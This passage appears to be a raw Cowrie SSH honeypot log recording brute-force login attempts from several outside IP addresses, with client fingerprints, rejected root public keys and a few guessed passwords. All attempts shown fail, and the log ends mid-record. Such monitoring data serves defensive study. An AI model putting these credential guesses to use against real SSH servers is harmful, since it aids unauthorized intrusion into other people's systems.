{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":52734,"dst_ip":"10.17.0.5","dst_port":22,"session":"08cb05a27038","protocol":"ssh","message":"New connection: 108.178.7.34:52734 (10.17.0.5:22) [session: 08cb05a27038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.746722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.750468Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.779712Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:e1:62:70:6c:58:f6:48:42:89:3d:fc:7e:86:d4:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1VUrVIkNb+opqG2K1XjKwtUkjMSr60il8F/VKDDE094SDSEEsOkMb6qHeOdnnhLWgwJ//Q/xz/1hVHsY+VIej26lBP+SCC126OUXzLd9hU6ItU3EsHcgDMHBk3t1jiGzRb1xrzMZsZFx7vDW+CKyk0zU0jHo6IH11vVsDpkRJtM4135kAF/cHhHD/k8YH58oQHKIjrgfMTIu0+Pr8yDA71UijzU3QBBDKGbWf3QZ5XP0UEARtyA79wPPM0n9M5stJfqyRY8GFAMCDOVel0cYK48ap4vvV5sd8eu6lp4MisahFQlTQok5Cf3agHaWBfaSXP/nDfenVSBzNBBUOlZX1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:e1:62:70:6c:58:f6:48:42:89:3d:fc:7e:86:d4:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.905574Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:e1:62:70:6c:58:f6:48:42:89:3d:fc:7e:86:d4:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1VUrVIkNb+opqG2K1XjKwtUkjMSr60il8F/VKDDE094SDSEEsOkMb6qHeOdnnhLWgwJ//Q/xz/1hVHsY+VIej26lBP+SCC126OUXzLd9hU6ItU3EsHcgDMHBk3t1jiGzRb1xrzMZsZFx7vDW+CKyk0zU0jHo6IH11vVsDpkRJtM4135kAF/cHhHD/k8YH58oQHKIjrgfMTIu0+Pr8yDA71UijzU3QBBDKGbWf3QZ5XP0UEARtyA79wPPM0n9M5stJfqyRY8GFAMCDOVel0cYK48ap4vvV5sd8eu6lp4MisahFQlTQok5Cf3agHaWBfaSXP/nDfenVSBzNBBUOlZX1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.908861Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:5f:2c:d9:8e:f1:f4:7d:91:28:c2:b7:23:75:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkd594moJMEpEjWT2x3qpZKixgNvmVBVfoSy//dGXk1Kl0UzZqypPAcprX4zaDTjTvq9eEqq5u4C7R8VqN76gaO3LlTPhgFbJU2Mpxh0eHRiHLwoKfvPwaRYkbsMBO7JKzWtDpgj5qsTd/xfIa7WS87vefhQRLGiwpkQA3brtiC403DXq9ejHHBdL6mXUt+MDHjVHqUyp1W4IwRibZ9Vr2bQeJLK0wCsPe22h7hgJ6wUWAG+v8FwglQejyKZsy90hOCeqGEFeoibJyoNfhBmuk+20ZBk/LJByUxQmedIRpgJhpa6KjNkLTrEmxGSsP6RSakz9D2voE/Kzr9TT3OTQN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:5f:2c:d9:8e:f1:f4:7d:91:28:c2:b7:23:75:77:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.938463Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:5f:2c:d9:8e:f1:f4:7d:91:28:c2:b7:23:75:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkd594moJMEpEjWT2x3qpZKixgNvmVBVfoSy//dGXk1Kl0UzZqypPAcprX4zaDTjTvq9eEqq5u4C7R8VqN76gaO3LlTPhgFbJU2Mpxh0eHRiHLwoKfvPwaRYkbsMBO7JKzWtDpgj5qsTd/xfIa7WS87vefhQRLGiwpkQA3brtiC403DXq9ejHHBdL6mXUt+MDHjVHqUyp1W4IwRibZ9Vr2bQeJLK0wCsPe22h7hgJ6wUWAG+v8FwglQejyKZsy90hOCeqGEFeoibJyoNfhBmuk+20ZBk/LJByUxQmedIRpgJhpa6KjNkLTrEmxGSsP6RSakz9D2voE/Kzr9TT3OTQN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.941050Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:a2:ca:df:36:16:58:71:a9:95:1b:11:63:dd:fc:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN4vNvSF+XJmSpLkRODo+tt12Jdhg+YI8VBQeO7OmX6ZJIzOFc8A3kvdG5m8AxZjp5WVmdD9kpuUzYGB34nq6q0INmgXTgvBJcf05EKf78DJSabeJn3PzBPi1GM9GotwucCXsdoUjm3XqxtygUypSFbW7+CrKJWsk6s8l/NNqOfsA2dbvyLQW5cIb2VfGBguPzuaPMWJAjNCF/MJVjADxx0AcvUzSKXUTAFWc/g0RrxZjb9fN1qKmTQKyCg7yEfgtr1rJvKSC7PgpFScz0QXDoyHEcZgUn2gOsJ3VegPBDUoLR1fPlcXIhIbqElMcX8PhuM/Ngs5nJCm57979J4ux","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:a2:ca:df:36:16:58:71:a9:95:1b:11:63:dd:fc:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.969242Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:a2:ca:df:36:16:58:71:a9:95:1b:11:63:dd:fc:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN4vNvSF+XJmSpLkRODo+tt12Jdhg+YI8VBQeO7OmX6ZJIzOFc8A3kvdG5m8AxZjp5WVmdD9kpuUzYGB34nq6q0INmgXTgvBJcf05EKf78DJSabeJn3PzBPi1GM9GotwucCXsdoUjm3XqxtygUypSFbW7+CrKJWsk6s8l/NNqOfsA2dbvyLQW5cIb2VfGBguPzuaPMWJAjNCF/MJVjADxx0AcvUzSKXUTAFWc/g0RrxZjb9fN1qKmTQKyCg7yEfgtr1rJvKSC7PgpFScz0QXDoyHEcZgUn2gOsJ3VegPBDUoLR1fPlcXIhIbqElMcX8PhuM/Ngs5nJCm57979J4ux","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:11.972628Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:4b:0d:7c:d6:06:5b:2d:1f:2f:69:74:f7:e4:84:6d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKNzN4n1U7SRDqNmX0FL6E+aVcNNuaSXVPD1tLnFLJAcid0peb05ALjQ2LJ1IuBZasxGJBzEQsJRUuCrIU44L0A8E0ZNNRaiw96VyG8p4N9GZusyki7WRyhykOnZF4luR7nHJxMOTN5GWTo/+x+gfDJLT1C427I0pqovjODtosbVAAAAFQC+Zqjp90Z6xqY9eMFwN1U8691cgwAAAIBxJzPFtxoeWdzF1PG/arFvIbhdF+Jp8XTB02PQDU7VccIQFyAqG+aFyHbXOUl836M97y8tgkv6Qf4Q0Zh9ey3imEqTZ2Iv5PHtoKQ7r2Ikh02Hj3jy+WLw5ZcwMq/HxER1W/LiEBkjF7hO5Ds5iOr8NhL3BLx8yGAntZfV31F9uwAAAIAxgei+xYwM8WD68GxSMJb1TadmuHT0adAZBnRvH24GP6QneL7tQjX0aBuASciyOXDEFMi6cmdKveXtAEVX4GMtjhdR85HSeiZwSZxpaichhWbIKE7Hd1JHmcz3c0crKrPjUJiSGYHzmAq2OAj2V3fMaVHru0xzGLLb224Sh9vj0g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a9:4b:0d:7c:d6:06:5b:2d:1f:2f:69:74:f7:e4:84:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.003517Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:4b:0d:7c:d6:06:5b:2d:1f:2f:69:74:f7:e4:84:6d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKNzN4n1U7SRDqNmX0FL6E+aVcNNuaSXVPD1tLnFLJAcid0peb05ALjQ2LJ1IuBZasxGJBzEQsJRUuCrIU44L0A8E0ZNNRaiw96VyG8p4N9GZusyki7WRyhykOnZF4luR7nHJxMOTN5GWTo/+x+gfDJLT1C427I0pqovjODtosbVAAAAFQC+Zqjp90Z6xqY9eMFwN1U8691cgwAAAIBxJzPFtxoeWdzF1PG/arFvIbhdF+Jp8XTB02PQDU7VccIQFyAqG+aFyHbXOUl836M97y8tgkv6Qf4Q0Zh9ey3imEqTZ2Iv5PHtoKQ7r2Ikh02Hj3jy+WLw5ZcwMq/HxER1W/LiEBkjF7hO5Ds5iOr8NhL3BLx8yGAntZfV31F9uwAAAIAxgei+xYwM8WD68GxSMJb1TadmuHT0adAZBnRvH24GP6QneL7tQjX0aBuASciyOXDEFMi6cmdKveXtAEVX4GMtjhdR85HSeiZwSZxpaichhWbIKE7Hd1JHmcz3c0crKrPjUJiSGYHzmAq2OAj2V3fMaVHru0xzGLLb224Sh9vj0g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.006335Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:c6:e4:e1:d1:1d:3e:a4:44:df:52:df:85:a0:71:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgg62vVjxMpDxbV30GvPBwyym8UTrhpSMHrt+rEsGwBWZoCQGS5PLDX3fzYDs03BKcpTXyLCUcUOSpeMp48SuoJc1RTLodGZOZ4DNVDOHjbZ/LLjSUKhw5Gk7hPCpxcbeOZHxLGrjCzLBxoniGHRoEwBGXNLZh1USkxlQTBzMl111c5ENtzFZETuHgai8FRYDiw88qY9XuU15ln4No3BX4B2U/E+uLHTCPWnDsYs86otu+uh28ZPl6zejdxLQL5TDiKJ08T48IpdsiryiihvuATdgQAbUnVox1D9Gu+nLiQ8dBtMMR4dGueDJhsty0UUQ1QP60lrNHsnaJVizD+deq/sEV5aWyGPZToxy9FjCHrCIcGcrHgo0OwmKkq9hhZd8ri7Q2db9IHvZm6Crmb3SznRrY4yLaAX/PgWf9K1GCz+vC6hQguTSe+Uas8H987MFiqzWtc5WgbbCucqdDelh+jidXXFZvlnVYDpHaOKpIaCKszbDBDi301/1JLwU0iZU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:c6:e4:e1:d1:1d:3e:a4:44:df:52:df:85:a0:71:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.037027Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:c6:e4:e1:d1:1d:3e:a4:44:df:52:df:85:a0:71:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgg62vVjxMpDxbV30GvPBwyym8UTrhpSMHrt+rEsGwBWZoCQGS5PLDX3fzYDs03BKcpTXyLCUcUOSpeMp48SuoJc1RTLodGZOZ4DNVDOHjbZ/LLjSUKhw5Gk7hPCpxcbeOZHxLGrjCzLBxoniGHRoEwBGXNLZh1USkxlQTBzMl111c5ENtzFZETuHgai8FRYDiw88qY9XuU15ln4No3BX4B2U/E+uLHTCPWnDsYs86otu+uh28ZPl6zejdxLQL5TDiKJ08T48IpdsiryiihvuATdgQAbUnVox1D9Gu+nLiQ8dBtMMR4dGueDJhsty0UUQ1QP60lrNHsnaJVizD+deq/sEV5aWyGPZToxy9FjCHrCIcGcrHgo0OwmKkq9hhZd8ri7Q2db9IHvZm6Crmb3SznRrY4yLaAX/PgWf9K1GCz+vC6hQguTSe+Uas8H987MFiqzWtc5WgbbCucqdDelh+jidXXFZvlnVYDpHaOKpIaCKszbDBDi301/1JLwU0iZU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.039532Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.069474Z","src_ip":"108.178.7.34","session":"08cb05a27038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40148,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad08ced0936a","protocol":"ssh","message":"New connection: 91.92.42.227:40148 (10.17.0.5:22) [session: ad08ced0936a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.583445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.725421Z","src_ip":"91.92.42.227","session":"ad08ced0936a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:12.728519Z","src_ip":"91.92.42.227","session":"ad08ced0936a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:13.496328Z","src_ip":"91.92.42.227","session":"ad08ced0936a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:14.673151Z","src_ip":"91.92.42.227","session":"ad08ced0936a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52212,"dst_ip":"10.17.0.5","dst_port":22,"session":"f424cbb17ffc","protocol":"ssh","message":"New connection: 91.92.42.227:52212 (10.17.0.5:22) [session: f424cbb17ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.428649Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40269,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e0228cf0b71","protocol":"ssh","message":"New connection: 168.167.228.74:40269 (159.203.135.109:22) [session: 6e0228cf0b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.604887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.612353Z","src_ip":"168.167.228.74","session":"6e0228cf0b71","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.741112Z","src_ip":"91.92.42.227","session":"f424cbb17ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.748277Z","src_ip":"91.92.42.227","session":"f424cbb17ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:19.861643Z","src_ip":"168.167.228.74","session":"6e0228cf0b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cheese123","message":"login attempt [root/Cheese123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:20.896191Z","src_ip":"168.167.228.74","session":"6e0228cf0b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:21.439786Z","src_ip":"91.92.42.227","session":"f424cbb17ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:22.151911Z","src_ip":"168.167.228.74","session":"6e0228cf0b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:22.984496Z","src_ip":"91.92.42.227","session":"f424cbb17ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34540,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3f5fc82826","protocol":"ssh","message":"New connection: 91.92.42.227:34540 (10.17.0.5:22) [session: bc3f5fc82826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:26.735338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:27.083692Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@o